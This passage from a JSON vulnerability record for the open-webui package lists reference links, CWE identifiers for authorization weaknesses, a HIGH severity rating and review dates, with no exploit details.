"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-vjqm-6gcc-62cr"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2761.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/open-webui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-285", "CWE-862" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T14:15:33Z",
"nvd_published_at" : "2026-06-23T18:18:06Z"
}
}